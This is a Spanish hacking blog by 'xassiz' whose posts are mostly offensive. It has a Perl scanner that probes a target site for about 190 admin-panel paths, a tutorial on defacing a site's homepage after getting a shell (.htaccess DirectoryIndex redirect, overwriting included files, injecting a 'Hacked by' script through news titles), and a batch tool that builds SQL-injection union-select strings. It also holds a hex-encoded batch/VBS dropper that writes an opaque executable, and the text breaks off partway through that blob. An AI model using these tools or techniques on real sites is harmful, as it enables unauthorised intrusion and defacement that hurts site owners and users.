~xassiz_'s blog

[Tutorial] Tecnica para reconstruir archivos en Batch - by xassiz

2010-03-12T14:13:00.000-08:00

Tecnica para reconstruir archivos en Batch

Creditos a el usuario 0x0309 que gracias a el aprendi esto

Primero, para hacer esto de esta forma necesitamos debug.

Entonces saber que no funcionará en Windows de 64 bits ni en Windows seven, ya que debug es un programa para 16 bits.

Bien, el primer ejemplo que voy a poner es reconstruir un archivo bat, al que le llamaremos hola.bat y su código será:

@echo off
echo hola
pause
exit

Es decir un "Hola Mundo".

Una vez creado hola.bat abrimos el cmd y ponemos "debug hola.bat":

C:\Users\xassiz\Desktop> debug hola.bat
-

Nos va a aparecer un guión. Ahí escribiremos "d", y nos aparecerá algo así:

C:\Users\xassiz\Desktop> debug hola.bat
-d

17B6:0100  40 65 63 68 6F 20 6F 66-66 0D 0A 65 63 68 6F 20   @echo off..echo
17B6:0110  68 6F 6C 61 0D 0A 70 61-75 73 65 0D 0A 65 78 69   hola..pause..exi
17B6:0120  74 0D 0A 00 00 00 00 00-00 00 00 00 00 00 00 00   t...............
17B6:0130  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
17B6:0140  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
17B6:0150  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
17B6:0160  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
17B6:0170  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
-

Ahí nos sale otro guión, en este escribimos una "q" para salir.

Son intrucciones y datos en hexadecimal.

Bien, ahora si nos fijamos en el peso de "hola.bat" vemos que ocupa 35 bytes.

Pues cogemos los primeros 35 bytes en hexadecimal y los copiamos (de 40 a 0A).

Luego abrimos el notepad y escribimos:

e 0100  40 65 63 68 6F 20 6F 66 66 0D 0A 65 63 68 6F 20
e 0110  68 6F 6C 61 0D 0A 70 61 75 73 65 0D 0A 65 78 69
e 0120  74 0D 0A

Así colocamos los bytes en hexa. Las e indican ENTER para introducir informacion.

Seguimos escribiendo:

r cx
23
n nuevo.bat
w
q
:xassiz

En total nos quedaría así:

e 0100  40 65 63 68 6F 20 6F 66 66 0D 0A 65 63 68 6F 20
e 0110  68 6F 6C 61 0D 0A 70 61 75 73 65 0D 0A 65 78 69
e 0120  74 0D 0A
r cx
23
n nuevo.bat
w
q
:xassiz

Bien, la r cx indica que escribimos en el registro CX (si sabeis ASM es muy facil).

el 23 que puse es el peso (35 bytes) en hexadecimal.

el n es el nombre con la extension (8.3)

el w viene de WRITE, de escribir.

el q como ya dije antes es para salir.

la etiqueta :xassiz es para dejar algo escrito luego de q (salir) y asegurar de que salió (se le puede poner cualquier nombre).

Bueno, esto lo guardamos como codigo.src por ejemplo.

Entonces vamos al cmd y ponemos "debug<codigo.src":

C:\Users\xassiz\Desktop> debug<codigo.src

-e 0100  40 65 63 68 6F 20 6F 66 66 0D 0A 65 63 68 6F 20
-e 0110  68 6F 6C 61 0D 0A 70 61 75 73 65 0D 0A 65 78 69
-e 0120  74 0D 0A
-r cx
CX 0000
:23
-n nuevo.bat
-w
Writing 00023 bytes
-q

Si nos fijamos, vemos que se creó el archivo "NUEVO.bat", que al ejecutarlo vemos que tiene el mismo código que hola.bat, es decir, reconstruímos "hola.bat" con debug.

Bien, ahora mostraré algunos tips para hacer el proceso pronto y enteramente desde un .bat

Que conste que esta técnica a partir de ahora no se la vi a nadie, la desarollé yo (lo cual no quiere decir que lo hiciera otra persona antes).

Bueno, comencemos.

Una vez conseguimos el código:

e 0100  40 65 63 68 6F 20 6F 66 66 0D 0A 65 63 68 6F 20
e 0110  68 6F 6C 61 0D 0A 70 61 75 73 65 0D 0A 65 78 69
e 0120  74 0D 0A
r cx
23
n nuevo.bat
w
q
:xassiz

Podemos crear nuevo.bat sin necesidad de crear ningún otro archivo aparte como codigo.src.

Pero primero mostraré como copiar todo el codigo con facilidad.

Vamos a la cmd y ponemos "echo d|debug hola.bat>codigo.txt". Y vemos que se nos genera el archivo "codigo.bat" con la salida del cmd dentro.

¿Como funciona? Pues usando pipes ("|") envío una "d" a la salida de debug (para cuando nos pide que pongamos algo con el guion) y envio la salida a codigo.txt.

Bueno, una vez con el código preparado, podemos hacer algo.

En vez de crear un archivo y hacerle un debug<archivo podemos imprimir el contenido en el cmd y mediante pipes hacerle un debug sin necesidar de crear mas nada!

Veamos el ejemplo:

(
echo:e 0100 40 65 63 68 6F 20 6F 66 66 0D 0A 65 63 68 6F 20
echo:e 0110 68 6F 6C 61 0D 0A 70 61 75 73 65 0D 0A 65 78 69
echo:e 0120 74 0D 0A
echo:r cx
echo:23
echo:n nuevo.bat
echo:w
echo:q
echo::xassiz
)|debug

Y se nos reconstruye directamente nuevo.bat.

Bueno, espero que os haya gustado, la pega de esto es que el limite es de 65280 bytes.

Saludos,
xassiz

[Batch] Agenda - by xassiz

2010-03-12T14:08:00.001-08:00

Bueno!

Pues hace mucho que no posteaba nada, espero volver a hacerlo más a menudo xD

Os presento mi "agenda" en Batch, la acabo de programar para tener apuntados los examenes que voy a tener xDD

A diferencia de otras agendas que vi, la mía tiene menos líneas de código y "creé un sistema" que permite almacenar la información añadida sin crear archivos adicionales.

Espero que os guste, aquí teneis el código:

@echo off
title Agenda - by xassiz
setlocal enabledelayedexpansion

:menu
cls
echo:
echo:    ^| MENU ^|
echo:
echo: 1. Ver Agenda
echo: 2. Agregar Tarea
echo: 3. Salir
echo:
set "op="
set/p "op=>> "
if not defined op (goto:menu)
if ["%op%"]==["1"] (goto:Show)
if ["%op%"]==["2"] (goto:Add)
if ["%op%"]==["3"] (exit)
goto:menu

:Show
cls
for /f "tokens=*" %%x in (%~0) do (
set "line=%%x"
if ["!line:~0,10!"]==["::AGENDA::"] (
set "line=!line:~10!"
echo:
echo:!line!
)
)
echo:
pause
goto:menu

:Add
cls
set "fecha="
set/p "fecha=- Fecha (dd/mm/aaaa): "
if not defined fecha (goto:Add)
echo:
set "tarea="
set/p "tarea=- Tarea: "
if not defined tarea (goto:Add)
for %%y in ("fecha","tarea") do (
for %%z in ("^","&","<",">","|") do (set "%%~y=!%%~y:%%~z=^%%~z!")
)
echo:::AGENDA::%fecha% - %tarea% >> %~0
goto:menu

Saludos!

[Tool] xassiz PathFinder - by xassiz

2009-12-24T15:23:00.000-08:00

xassiz PathFinder - by xassiz

Pues simple, un Admin Page Finder en perl

Código

#!/usr/bin/perl

use LWP::UserAgent;

if (!$ARGV[0]) {


print q (


          xassiz PathFinder

  db    db d8888b. d88888b
  `8b  d8' 88  `8D 88'    
   `8bd8'  88oodD' 88ooo  
   .dPYb.  88~~~   88~~~  
  .8P  Y8. 88      88     
  YP    YP 88      YP


           [+] Modo de uso:

  perl XPF.pl http://www.target.com

    -------------------------------

            Coded by xassiz


);

exit 1;

}

print q (


  db    db d8888b. d88888b
  `8b  d8' 88  `8D 88'    
   `8bd8'  88oodD' 88ooo  
   .dPYb.  88~~~   88~~~  
  .8P  Y8. 88      88     
  YP    YP 88      YP

);

$target = $ARGV[0];

print("\n [?] Analizando: $target \n");

@paneles=('admin/','ADMIN/','paneldecontrol/','login/','adm/','cms/',
'admon/','ADMON/','administrador/','administrator/','admin/login.php',
'ADMIN/login.php','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.php',
'admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','controlpanel/','panelc/',
'administrator/index.php','administrator/login.html','administrator/login.php','administrator/account.html',
'administrator/account.php','administrator.php','administrator.html','login.php','login.html',
'modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html',
'moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/',
'admin/index.asp','admin/login.asp','admin/home.asp','admin/controlpanel.asp','admin.asp','admin/cp.asp',
'cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp',
'login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp',
'controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp',
'fileadmin.html','administration/','administration.php','administration.html','sysadmin.php','sysadmin.html',
'phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/',
'Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html',
'administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/',
'admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/',
'sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/',
'staradmin/','ServerAdministrator/','SysAdmin/','administer/','sys-admin/','typo3/',
'panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/',
'formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/',
'loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/',
'wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/',
'login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/',
'sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/',
'hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/',
'Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/',
'administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/',
'cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/',
'logo_sysadmin/','server/','database_administration/','ADMIN/login.html','system_administration/','ss_vms_admin_sm/');

foreach $finder( @paneles) {
 $buscador = LWP::UserAgent->new() or die;
 $busqueda = $buscador->get($target."/".$finder);

 if ($busqueda->content =~ /username/ || $busqueda->content =~ /Username/ || $busqueda->content =~ /UserName/ ||
  $busqueda->content =~ /usuario/ || $busqueda->content =~ /Usuario/ ||
  $busqueda->content =~ /user/ || $busqueda->content =~ /User/ ||
  $busqueda->content =~ /password/ || $busqueda->content =~ /Password/ ||
  $busqueda->content =~ /contraseña/ || $busqueda->content =~ /Contraseña/ ||
  $busqueda->content =~ /senha/ || $busqueda->content =~ /Senha/ ||
  $busqueda->content =~ /pass/ || $busqueda->content =~ /Pass/ ||
  $busqueda->content =~ /pwd/ || $busqueda->content =~ /Pwd/
 ) {
  print("\n [+] Encontrado: $target/$finder \n\a");
 }
}

exit 1;

Espero que os guste

bytes

[Tutorial] Modificar homepage sin permisos de escritura - by xassiz

2009-12-24T15:10:00.000-08:00

Modificar homepage sin permisos de escritura

by xassiz

Bueno, en este tutorial os enseñaré a modificar la página principal una vez en la shell, cuando no tenemos permisos.

Además los admin se suelen dar cuenta mas tarde de como arreglarlo.

Esto se hace muy facil, con el archivo .htaccess en servidores Apache.

El .htaccess (hypertext access) es un archivo especial para hacer la configuración de la web: desde restrinciones de IP hasta esta técnica de modificar el index

Lo que debemos hacer es poner nuestro index en directorio en el que tengamos permisos.

Por ejemplo, imaginando que la web sea así:

admin
docs
imgs
noticias
---------
news.php
index.php
.htaccess
banner.jpg

Y tenemos permisos en el directorio imgs, entonces entramos y uploadeamos hacked.php, que sería nuestro index.

Una vez subido volvemos al directorio principal y ponemos en el .htaccess (si no está lo creamos):

DirectoryIndex imgs/hacked.php

Con esto le estamos indicando a la web el archivo del Index. Cuando vamos entonces a la website por arte de magia se muestra el archivo hacked.php de homepage

Otra opción que tenemos cuando no hay permisos en index.php.

Si podemos subir archivos a ese directorio, o en el directorio hay alguno sin permisos ya está! aunque sea una foto!

Por ejemplo:

admin
docs
imgs
noticias
---------
news.php
index.php
.htaccess
banner.jpg

Tenemos el archivo banner.jpg con permisos. Le damos a editar, entonces ponemos el código de nuestro index:

<center><h1>Hacked by xassiz</h1></center>

Y le damos a RENAME, renombrando el archivo a index.php.

Vamos a la home, y de repente aparece nuestro index

Otra manera es viendo el código de index.php, y comprobando si hace includes.

Por ejemplo:

<?php
include("inc/header.php");
include("news.php");
include("inc/footer.php");
?>>

Entonces vamos al directorio inc y vemos que el archivo header.php tiene permisos de escritura. Le modificamos el código por el de nuestro index (sin renombralo ni nada) y listo! Aparece en el index.

Y que pasa si también tiene permisos? Pues podemos repetir el segundo método!

Si no dimos subido una shell y solo podemos poner noticias, etc?

Pues imaginemos que el título de las noticias aparecen en la principal, y en ese titulo podemos inyectar código.

Podemos poner un código javascript que transforme el index entero

<script>document.documentElement.innerHTML="<br/><center><h1>Hacked by xassiz</h1>";</script>

Vamos al index..

Espero que os haya gustado este tutorial!

bytes

[Tool] SQL Copy Column - by xassiz

2009-12-20T06:03:00.000-08:00

SQL Copy Column - by xassiz

Es una creación mía, hecha en Batch, anterior al SQLC en Perl, pero que decidi postear despues porque se pueden complementar muy bien.

El SQLC te da el número de columnas de una página web por Inyección SQL, y el SQL Copy Column te pide el número de columnas y te copia la inyección ya hecha al portapapeles.

Espero que os gusten estas cosas, porque a mi me vienen de lujo

@echo off
title SQL Copy Column - by xassiz
setlocal enabledelayedexpansion
:main
set "num="
set /p "num=Numero de columnas> "
if not defined num (goto:main)
(set/p=-1+union+select+<nul
for /l &#37;%x in (1,1,%num%) do (
set/p=%%x,<nul
))>columnas.txt
for /f "tokens=*" %%_ in (columnas.txt) do (
set "line=%%_"
echo.!line:~0,-1!--|clip
)
del/q/s/f/a "columnas.txt">nul;2>&1
goto:main

Para ejecutarlo se necesita tener el comando clip.exe

Si no lo teneis lo podeis construir con este otro script:

@echo off
::
:: by xassiz
::
:: clip.exe made with BHX by carl0s
::
Echo.Const W=^2>t.vbs&Echo.Set o=WScript.StdOut>>t.vbs
For %%b In (
"4D53434600000000F3370000000000002C000000000000000301010001000000000000"
"004500000001000100006800000000000000006235A0552000636C69702E65786500EC"
"A9D014A6370068434BED7D7F5C54D5B6F81E18608491191514530B094C2FFE00069061"
"187E08C38FAEE8E0E88C66400883C38430CD9CC368894A03D574E465AFEEBBF776EB96"
"75FB71FB719FEFDE6E5A760BB50B5AF6432DC53425A33A3464A48498E4F9AEB5CF0C0C"
"88BDDEE7FDF77D17DB73F6DE67EFB5D75E6BEDF5639F7D4EC5B7ED2081841029244120"
"640F11FFB2C97FFFC7430ABFE98D70F2EA84F767EF912C7D7FF64A4B8D23DA66AF5F6F"
"AFD8105D59515757CF44AF3347DBD9BAE89ABAE8BCE586E80DF555E685132786C67A61"
"84565994CB8282737DA9E6C03DB94BE9F5CE5C23BD36E696D37B21B9BFA2654B6E31BD"
"DE9DBB9C5EB7D0EB8A9A4A0BF6BF1EAE7A1D214B255232E795229DAFAE8B0448C22432"
"42564061AA58F7C40DF0A38464A34509CD0710124C4612FD7B4A245A6BB904E897DD44"
"0BD144ECAC149B28FDC6EF5D237621DBA0996C1C047710D20F8C786A1221337F86E67B"
"268BBCD90638BDE01D64B3E4FAED1732E68D0C5CFB4BBC08ADF032DBEF0FD0BE636155"
"055301F997A5DEB9037C621CDD0EC66D5B6877D82B89770EDB908190565FD32E7BA1DD"
"5C5B0F0DF7078973A3845B774DBB2547DF2CD21522A87F14E95601B90FC1159B55C0B5"
"1679045727CAD95B45BA7BE1DA0DE556B8BE0ED7DFFBC1CAC933E6E88B54490BAB6A6B"
"C9AF752B96E9967A0BCB56E62D5DBA1012D9E068A8B433B4729541B7C27BDF64482AF7"
"668DBA1586A2E5CB68DE50B8D4041069FEFFE3BF3EFE3D27E5C5A66EE7BCA66E67A3EC"
"9C332EE49CF33D480F069F731E6EEE763EBFA4DBC9AEEC769EBBB7DBF96D5EB7F3CE63"
"E79CDFFEBEDB59D6F98533B51AEAE65D705AEFEE764E89EF772E98DAEF9C794FB73368"
"D7E7CEA407BB9DEA53DDCE5DAA6EA7E7916E67CA13DDCE9E87BA9DB725F53965CBCE39"
"571BBA9D4FA4773BF755763B9BD7F438750F9F73764575391F77743B1F9ED5E5DC01F9"
"89006B16C05ED1007060FC7B009707E0FEFD47CE51BC17F69CA8939F3951F7E0C4CEBA"
"E39F9DA8C3BA94774F3AF7ACE97416C0F50F2F9F70DE7BECB8D330E9146D7F246A56C9"
"63B366955C99310B5704697FEE49CADFA99F1FB1FDDE7CCCB67FED71DB6B371FB5BD04"
"E92948AF469DB2CDBAFD535BC5CE13B6A37B8FD82E451FB55D5D76C2F6C5D3276C8767"
"1FB5FD23EDA8EDA3DF1DB125741EB1C5CB8FDAEE80FC977F3962DBF2EE11DB1D9092DA"
"8ED8E6BD77D4F6F227476C61C78FD8649B8EDA1E2D3A6AF3D13F2E8A0CAFDEF7A613C9"
"9419E49AD5ECD359B8246763660AA41042B250AFE5AC00514E826518471CB092F117FF"
"16E1B2B411C90BB611784B56E5E7EB56E07A9F40CB9B69EBCD221EB437210B68CF11B8"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"FE5017121D2C75517DDE4E0C8421765243EAC87A920FD75A62264550AA26F570378E24"
"9064B271F87A3BBDC7401B3B5C2BA0F532F8DD0065846584BC7D1C282BA1B6024A0EA8"
"AF80DE35504B594C0AFF37420F3449984224489815863C83EA86C82D7FCD5F50FC44DD"
"47553B9FBBF427ACAFACADB12DB455AD1BDBF5AFE329674E305ACD655662E4CFCC05D2"
"0991859388C4D516ADE7957184E4BBAE3A1ACE59891029531289AA2DBBECC061FCE384"
"555CAFAB51460C4693A2F9AF08A754DE724AD1FC3C64B1F96968DED2A6687E126D7364"
"272DB14A5E33118B1F43B1E741B8D3EA08355A02A2B16E26D471832D0273CA24444689"
"EDC3F930680FE508287B3A5A06B8834C48BB84E42C632F1B0456A6E79F05D5EC7A470E"
"4D9462975021522EE60E9804562944F2B4C4FC5D1CD50B0B26E251584DE2ACF8E7E484"
"A8DACACBD696EE9713BFE9F5AEDC89E456FDD3AD1B32C0FC8C1CABB4EAD7B4EA5E6E07"
"A553C45EB6CA2C6D402DA8D0F37BC008BBCC6D30792C5A25560131ECD0BD831CE9D0BD"
"894BA043F72A9A1C37DBD9A13BFC26F4E4C31713D2D256B6960DCCF6848E90992B1E52"
"BDCF1F03FB7368144A252506A36AC0A412D4ACCCCD0EB9D94145331A28352B5734DF0F"
"99BD681FB98EF876CD01C7CD81575C8D43A4B52054CF86F21F87C3C0BA21CFC456DD90"
"9EBF3C19C7656E456C07F5D841CFE98602DBF580B310192DD26C42203BE86A1C24EC5F"
"E2AF723AB93B019AB44A83810530FDE5307D2FBE50ED9946C1DE0260ADE19E001F6929"
"550FED978DA26A04CCE19475C05D3AE82E1D7297F60B910908A4CF75150607CEF45403"
"C98C42E47CA8750D06B06A83E503F4D832E7807C5AB68302E197D1EC41A020103AC04F"
"663B62511EA2546D3DB30108CECDC8EFBF2A089A03307776AA45021AC5D73C5BCFDF08"
"703CDB4DC0A9C10E5DDF444217001145B7E55994EA94B9503218AC82C00E1984E39C36"
"16CA7AE10402ECDDB2A5358F84EAF98DD0132BFAD9E9634778330ED118F2A804B657EF"
"8342FB6F8D1FDB7687D856CF772931D3AFE74F285132B33DC6C036B76E90DE7B07AA38"
"5D3FB232047046E912D83E980080E6CD4382C0F5692EB211003BC01F76B20F763305E9"
"BA2A51FC8632C76F3D971841B24C26ABC4E46E1C1222939528DA43201272600CCF53D8"
"D091927114F01340754F29089B845D0A4A21A0416BE99648B779A52305DB895D8ED3E6"
"2F407393C8536B2C925CAC7E0AF4806A20DF13A11AE0ABAF0882274C73890DE1DB7FC2"
"71F9B5205AE55C7B993FC2B02041603C0A542D5C78CB21264038E26A976A58B9BDB7AC"
"546CB8B31096B0250D7E84943CF87D06B396B9F8331F7F62F14E64364EE59D886792A1"
"24F6B32A2DFA35B0423DE0D8AA4E81A456ED8C4281B049DDA5DD6F3FC580541841CA1F"
"85196A0E30D335ED80CA40BE9BEDF6282D7C206AB4DFA1D2FA142A773E0EADA141A8F5"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"267E07DC5AE3D1D02A407BBE3B0573964791440FA046B8591084356B60F54DEBD00D81"
"E40A7B20B2213D1FA1DE48C906F47CD066589AB1D366ECB410A1AEE908C25B6869D5A5"
"DDACCC00E8BD0A38A867FD09AA99E916BCF0FF0EF7117CA8C11A601022B14E48994BC9"
"339FFE2241F85E203AE8D567326CD83F017ED9C5B0341226E16AEFE564DC04777197BE"
"847F5282031FE0CC3CA7EBA2AD55A7BCED43A07DDA24EC8E58B3C142640694BC93DA89"
"4DF98F011791DAD54D5A8C588A6F63A4C0D0929D195068C2784E82C10FEB51EC7E200A"
"AB2E87C180CC0CB84257F663D79E66A80D6F784F7548FDC020643D935C7B185AB507AB"
"20CA0339DFC7EDB34A9E41A4F8B98174894720BB27EEC0B9BB263E8A97356BC0EAE0EC"
"26EAA19D1B94E04C5A5A4A4B3BA3B1409EF91D5270130CEDD22AD13961E596FE99283F"
"B1707F0D5F10806B4B9C113F04859ED7808EB428C4E541139A051B880409B878A0671D"
"A03322CE9C4EC691A6B44AC7862E36DEB55119C8C671D911DAE8A047A63391DAD97809"
"D7C6E025444BB27F4F69AA9C845AB674BF54846379EF0644670FD5BD07BC2327FB461E"
"F3270E5A2CAB6E528B842F3DC0E56404EE6B4AA344FF4E75A8BA6963549844F12850D0"
"BB9CAEED0F481766041E54ECCE01C5AED87D57B0EA68CB80A9354F16D5308B6B947385"
"72CD65FB046EB52CF0A4E68A5DEEDA0F3A63AEE6B8FD2BD1E47A579BCC62C3D5D648D0"
"8A0E913790F52BF8DB703180B06A6194F8FDFA15BCDBB73AE2B9ECD87DFC4D973E7275"
"F964CA138DA24938A23AA405CBD946D146D1F4DE57B5F118FDF9A8327F982A42DCDCE1"
"BC059C24499590425DA3BC58A5BB3656D90A29BE0B963B7507127543AA7FEADD661E74"
"2E583E2F70AA9EFBAA9EC17E07B8E2BE2A375A13B2A61CE6C87D595AE2A7B50436023D"
"13AA552DBB815F1604CB670650D3E525888540686E21D440C850B8D688F53EAE5AE596"
"1D48B0A57462C044D07E39AECB0293315B374419CAC67325192D4737C736FD88E1B363"
"66AB34D4ADEB1699CB847B42C0B0207554605ABABDB3E097C08F4F9628B268E37789EE"
"40AC9EBF0F6E43EE06C5EEECDBABB501840DB206AC2E3D50AD0D842CC00301D2C94AFD"
"5DC45E25259ACB3C48F96A7A7BD957D97B351D8CF2CFB867C34CB8F4D13352B8EF3118"
"D1580B918FA3C560875460CF229F4229EE031DE5BDBE40AF406668F732F53BFA55BA3E"
"551F9889A0B796035C770A8E75E9B83B05619695FBDB8AA65E5CFBCFACBE0BD6F3C495"
"F81BA9C7DF594BF137A5107FB579F05BBD3DD2462F13ABE8655636BD0465D04B5C1ABD"
"2C4886CBE30F0559EE4234C833B7D3ABF4993BEE429B297BA616CB2D5D60323B82308C"
"414BBF136F3E5305A58E200C6F2648495B47D0ED36D199A76472B77442979D529A3D0D"
"59243F2E66CBE949B8AE1FC02CF61322B7533F2472075CBCD3043996FBE49813C09417"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"A8B51B1DA069E285946D70E56509E8F4B1513E1759D182DEB9251E5CC69E8750DE3BCA"
"0FB8B4D894B0A7F82B104CE99FA11D3F5C44BDC5755662E1110F11DC501205B7D41AE8"
"AD782D19DCA00E56335CF12C54A007376FB8E6115A13C84EB31237454E88048744527D"
"A9B37C46DBA5CE03C3DEBBCC2A1B7621FDE589762246C6380CF20FB056353A59431E2C"
"A7E1CA596914E304FFBAF05498625FCB00738335C4D20BF3001F7329B5FB72183088CB"
"977B02546D65C3BA7427F60220517AFE8385145C38B0C33B0F18F4C01E24C628772445"
"4E638CE318197183EC64E1389DCAB037EC51F1EBAED225741140C11D1FBCF8544ACB50"
"DAE18455E6797FB84F76F9084AA29B06AC05078D8F1221590DBE714DE8ADC1E87A9305"
"C36C217233A525370B013133D58D43CC22F41297C32A862B074B6A1B2EA3764F2CDE9B"
"0275620DC5420A1C38369203CAAC1DB5A0F87A511944F0C700110C1CF83310035DEA44"
"468EC6B8A9375AE295701A4C19DF9A892E7E6B4BD75514713D7F3784413B236C9417D6"
"40774B37D4EF8C82B235C0DDC243A17A6733900984E6EFD8854B619458AA06975B386E"
"0DB44A56E8E9351AAF2BF4D6401134AC8F8D38418CA6CAF8E6414118E5EE1AC0572995"
"816BC74EF593BB116635828387E1D0ED68FC5356E3EFA070DCE48605B4120B9DAE2B60"
"8C985B81DF6913985CC348C892E5FA0E54EC722664399B6CEDF7045B7F809868400C74"
"8064D1AE418199D15A3C540218DAA04E241A4480C1A3E2267F1AA248B1E81C4DA038D5"
"42ABD2D18115346054AE4639611670BA08D52157A3124D374C2AD07510192447269508"
"9155A2EAB0C0A5B0D01331DEDC4BF72BFF37A0EFF81F8166C387DBCDB19A3C3381BC22"
"9DA2E8120178ABBDC1FD087D86050CFCF45D68087381BB08CC3932E816DFA01E6618A4"
"15AD1082058C23F550E7D675F9FC07BDD77F007BE8B58D4D8DDDD3C0930087B3B11B5D"
"0A76B2C51644BC612F5F070ADA33F95A9535E26F5CBC34C69CD2E94EBB962C40454F0C"
"2EA1AFC545FDDD30C25FFA68B09472DC1F98AA0D8C7E90A658DE10B4C74442B6816A4B"
"6E69DB0C2C92818A6839C41D61C2ABD5694C5076F6ADEC40CB5176A26B0E791B5B82A6"
"F74C887FD71DEEF901AA46CB11F8395C277741D5062006406BE8E4CC9407A7341F6526"
"3E3029277799502C2F68196079482145CBF7DC0DD0DA2544744002DC6ABA8B727D70B3"
"115C9462F794EA96A38CB2DA3D2927277718E6179064455EA0D5AED93F0B155C285060"
"AC5C756A19C661775045AE84E9CB35ED4E193BA97AF64CA76702FEEE45705CBB0F98A4"
"8C3B3066A707E348187B440C0B400CB5B827D63444D9319F2B8ED01C74C4A1DCC398AD"
"D2657A5C848751B64024DB445605C7B71F19F4845B76487D22026C2D1B2DEF06AE5466"
"540D68CE989895E01D6BAE32C546137F030CA36977EB644C9AD1C0CBC5411740560259"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"B52EC2315BCDCA1A6682E7A8D82D75C2D4F506EAAA811E6163F235ACCCDE4D47F5C8C7"
"152D4A3EE518A634CA5A046635DDB6634AACC4C4FFE60A2A6303C4DADC158AC04260D8"
"AF70E61F386E8EFF5ED3679F85F337B44A97D3D9BFE39DFD4171C0101183C9F11D4084"
"C85F868797F0E3ABDF65AE4CD1ABF4E419C4E5C07502AED384547ED79038778525309B"
"6C1BEE31430F0635959F9F4837058554988D10598863CF216B47AC28F8CE1FA1CA50F6"
"832981B05DD05C5234BF8C0E50B0A643D1FC3406D08D7236CCC89B80C63DCFE1B610BF"
"8CD2840D7167F63C42F73411216CDE829179E310FAF3A954ABE4D11BEC8CEB2A06CF2A"
"77F0B08EC8F6145D57EDFCC3A7765EF5573B9740A9785E1D8F64BCEB22E81BFF75C2AD"
"92839638CAC89A7E84D1B6FA1445DBE6C99C4E092BC202486CB5123E00083A7A4DFCD2"
"9ED3AEED592CA7526E7A1B3B9A0CADA0D69652EA6D9E8AD1E22AB929FEA356792EC081"
"FE27E0CE355BAFAA36D413139A1AE5A3C78EE47472B0C91120BCB008A0F777D87BB44C"
"5DAFEF5414F9565D841E35874E0E9DFF4A3BFB7B045E6FEC2CEE220E4A58C634EC3CA6"
"C48378E0F6F42A63AB5318F13E5F5D408816C3343665A4F24FF1E8CD81A30396BE4DAE"
"E7953F0902DD7C0B81CC48B3177F45C8F2652D02BBABCC422B7E8271CB5DDACD90A7C1"
"3DA1C17DF6A82D2FC41E788E6AC8C8675E11D701FA0581ADD2FCB2317A6D54E3CD3FDF"
"981AF9B9D4C8C7C03A275B66D21055895669D74FC8BE46A562779B7EC402CBE9DEE4A5"
"5F06E2F9FF3D883FFE52107202A60E3AB310E3F6AC045793EFBD40355A1F283E6B6099"
"D1CB803BE6E1730B1937A8B9E29CE7ABDC3A0F99A768EE4285F05EFC8739257ADE3417"
"05425034BF0795065FCB3D94CD6F6328C1A40DD73E3F4F0C3314CD7FC467212126FF30"
"43D1E2F63D2B61F3B846A5E756AB92575FC21DCE9601372B6336B8AA65C4552DA71DF9"
"4A586446C3B0C0FCE557344A7809224C3DBF17D6A52713541C7FFA07E83F58C0E5CB34"
"834E4593804FCD1A6E6C956781C99AD6D2D62ACDD2B3D3F9630382E0CE97E3BEBE7B8B"
"CCB50588A400494869CD0709ED4160DDA05DE52683D020E717C0C09E69AEC608093B09"
"FB835E85DA63F154B142A4748D2677F5468DF8F7B0BC440DF0563F3E1E69EC7FD60D71"
"7A9BA6D3ADE3DDBADEEA6715CD0750A91AF8D93F205F14CDAFE2BE4F631FA12116DBC7"
"4FA0F56C702BEE74F701A15C422077910972091236A6DAA521CC74C5EE603DEE7CFBAC"
"AF2C3FBF1A2DC6D76E9687D6D83680CDC19F00EE2234AE863649A37A84B91A7B093BC1"
"CDF67AA42E732FC9CF179BB1274123C37D69B52B9AA84BF98648448AE719B017D90081"
"37F0137153FA8027888680105F9497A9DE5FCBC7F44284317A05AA06D4ACFC3A066E3D"
"18757622C837FF8FEF4553B0CA649534B523FF8C56620DE2E7E330A8756E69D529D1CD"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"065FE114B04A8B2E0D730C16C34CFFC5E0E7705F80189237F155DFA3762DBD26EA9163"
